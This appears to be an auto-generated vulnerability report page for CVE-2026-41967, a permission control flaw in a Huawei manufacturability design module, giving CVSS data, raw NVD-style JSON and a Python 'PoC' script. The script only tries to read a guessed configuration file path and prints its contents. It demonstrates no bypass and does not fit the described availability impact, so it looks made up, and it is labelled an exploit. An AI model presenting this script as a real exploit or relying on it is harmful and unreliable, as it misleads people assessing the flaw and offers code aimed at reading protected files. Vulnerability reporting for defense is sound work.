Security Vulnerability Report
中文
CVE-2026-41967 CVSS 5.9 MEDIUM

CVE-2026-41967

Published: 2026-05-15 10:16:35
Last Modified: 2026-05-15 14:08:51

Description

Permission control vulnerability in the manufacturability design module. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Huawei Manufacturability Design Module (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41967 # This script demonstrates the permission control bypass. import os # Simulate accessing a protected configuration file directly # Exploit: Bypassing permission checks on the manufacturability module config_path = "/var/lib/manufacturing_design/config/settings.json" try: # Attempt to read sensitive config without auth if os.path.exists(config_path): with open(config_path, 'r') as f: data = f.read() print("[+] Vulnerability Confirmed: Access granted to restricted file.") print(f"[+] Content snippet: {data[:50]}") else: print("[-] Target file not found (System may not be vulnerable or path changed).") except PermissionError: print("[-] Access denied (System patched or permissions enforced).") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41967", "sourceIdentifier": "[email protected]", "published": "2026-05-15T10:16:35.420", "lastModified": "2026-05-15T14:08:50.797", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the manufacturability design module. Impact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-840"}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2026/5/", "source": "[email protected]"}]}}